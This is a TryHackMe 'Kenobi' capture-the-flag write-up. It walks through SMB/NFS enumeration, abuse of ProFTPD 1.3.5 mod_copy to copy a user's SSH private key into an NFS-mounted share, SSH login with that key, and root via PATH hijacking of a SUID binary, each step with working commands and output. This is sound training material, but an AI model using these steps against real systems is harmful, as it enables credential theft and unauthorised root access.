TryHackMe Kenobi writeup

TryHackMe Kenobi writeup

Kenobi is the third machine in TryHackMe’s “Offensive pentesting” path.

Enumeration

Starting with nmap scan:

nmap -sC -sV 10.10.232.217

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu 
2049/tcp open  nfs_acl     2-3 (RPC #100227)

So, we have Samba on this machine. Samba is the standard Windows interoperability suite of programs for Linux and Unix. Let’s enumerate it closer with NSE scripts of nmap:

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.232.217
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-09 07:04 EDT
Nmap scan report for 10.10.232.217
Host is up (0.086s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.232.217\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.232.217\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.232.217\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds

Let’s connect to the \\10.10.232.217\anonymous share:

smbclient //10.10.232.217/anonymous

or you can use smbget to download the share:

smbget -R smb://10.10.232.217/anonymous

Only one file is there. By opening this file, we can learn that id_rsa file can be found at /home/kenobi/.ssh/id_rsa.

Let’s more closely look at the FTP server now. Nmap highlighted that the ProFTPD 1.3.5 is running on port 21.

If search for the available exploits, we can find a few:

searchsploit ProFTPD 1.3.5


ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)|         linux/remote/37262.rb

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution|         linux/remote/36803.py
ProFTPd 1.3.5 - File Copy|         linux/remote/36742.txt

The version is matched, and we can see that mod_copy one even has the Metasploit module. But we don’t really need it. Let’s read the exploit and the official documentation instead. We can learn from it that the mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files on the machine. We are also the rpcbind running on the port 111, let’s enumerate it too:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.232.217
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-09 06:42 EDT
Nmap scan report for 10.10.232.217
Host is up (0.046s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 1.04 seconds

Great. Now we know that it’s possible to mount /var folder on the machine, and we potentially have a way to copy some files to it.


Exploitation

Connect to the port 21 with the nc and try to use mod_copy commands:

nc 10.10.232.217 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.232.217]
SITE CPFR /home/kenobi/.id_rsa
550 /home/kenobi/.id_rsa: No such file or directory
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

Awesome, we now have SSH key in the /var folder. Let’s mount it and grab it:

sudo mkdir /mnt/kenobiNFS
sudo mount 10.10.232.217:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root    4096 Sep  4  2019 .
drwxr-xr-x  3 root root    4096 Oct  9 06:45 ..
drwxr-xr-x  2 root root    4096 Sep  4  2019 backups
drwxr-xr-x  9 root root    4096 Sep  4  2019 cache
drwxrwxrwt  2 root root    4096 Sep  4  2019 crash
drwxr-xr-x 40 root root    4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff   4096 Apr 12  2016 local
lrwxrwxrwx  1 root root       9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root crontab 4096 Sep  4  2019 log
drwxrwsr-x  2 root mail    4096 Feb 26  2019 mail
drwxr-xr-x  2 root root    4096 Feb 26  2019 opt
lrwxrwxrwx  1 root root       4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root    4096 Jan 29  2019 snap
drwxr-xr-x  5 root root    4096 Sep  4  2019 spool
drwxrwxrwt  6 root root    4096 Oct  9 06:34 tmp
drwxr-xr-x  3 root root    4096 Sep  4  2019 www

Now we should try to use this SSH key, as we know the username too. Copy the SSH key to some folder, and add the chmod 600 to it:

cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.232.217

kenobi@kenobi:~$ whoami
kenobi

PrivEsc

All the “standard” enumeration scripts will pick that up, but it’s good to know how to do things by hand.

The following command can locate all the files with SUID bit (which means that they will be executed with the root permissions):

find / -perm -u=s -type f 2>/dev/null

By reviewing the output, we can say that /usr/bin/menu is standing out a bit. You can use the command strings to examine the binary:

kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
__stack_chk_fail
printf
system
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
UH-`
AWAVA
AUATL
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7594
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
menu.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

It’s quite messy, but don’t worry. Just read it line by line and try to make sense of it. If you try to run the binary, you will see the following:

1. status check
2. kernel version
3. ifconfig
** Enter your choice :

In the strings output, we have this chunk of code right after it:

curl -I localhost
uname -r
ifconfig

Noticed that it’s calling the curl without specifying the absolute path? That should ring a bell for you, as this is our way in. To move forward, you need to understand how $PATH in Linux works. That might be good reading. Let’s do the trick:

kenobi@kenobi:/tmp$ echo /bin/bash > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@kenobi:/tmp# whoami
root

Hooray! We have a root shell!

Take a second to understand what we did here. We created a file named curl with a string /bin/bash in it. We exported the /tmp folder into the $PATH variable, do the /usr/bin/menu will start to look for a binary named curl in it first. Let’s check the $PATH to make sure:

kenobi@kenobi:/tmp$ echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

As the /usr/bin/menu is not specified the absolute path of the binary curl, it will start looking for it in each location from the $PATH. /tmp, /home/kenobi/bin, /home/kenobi/.local/bin, etc. As we have our “fake” curl inside the first folder, and the /usr/bin/menu is executing with the root privileges, we get the root shell.


Takeaway

  • Enumerate every service that you have on the machine.

  • Sometimes reading the documentation for the product is way faster than the exploit.

  • You shouldn’t rely only on Metasploit if there is a Metasploit module, that means you can do the same thing manually.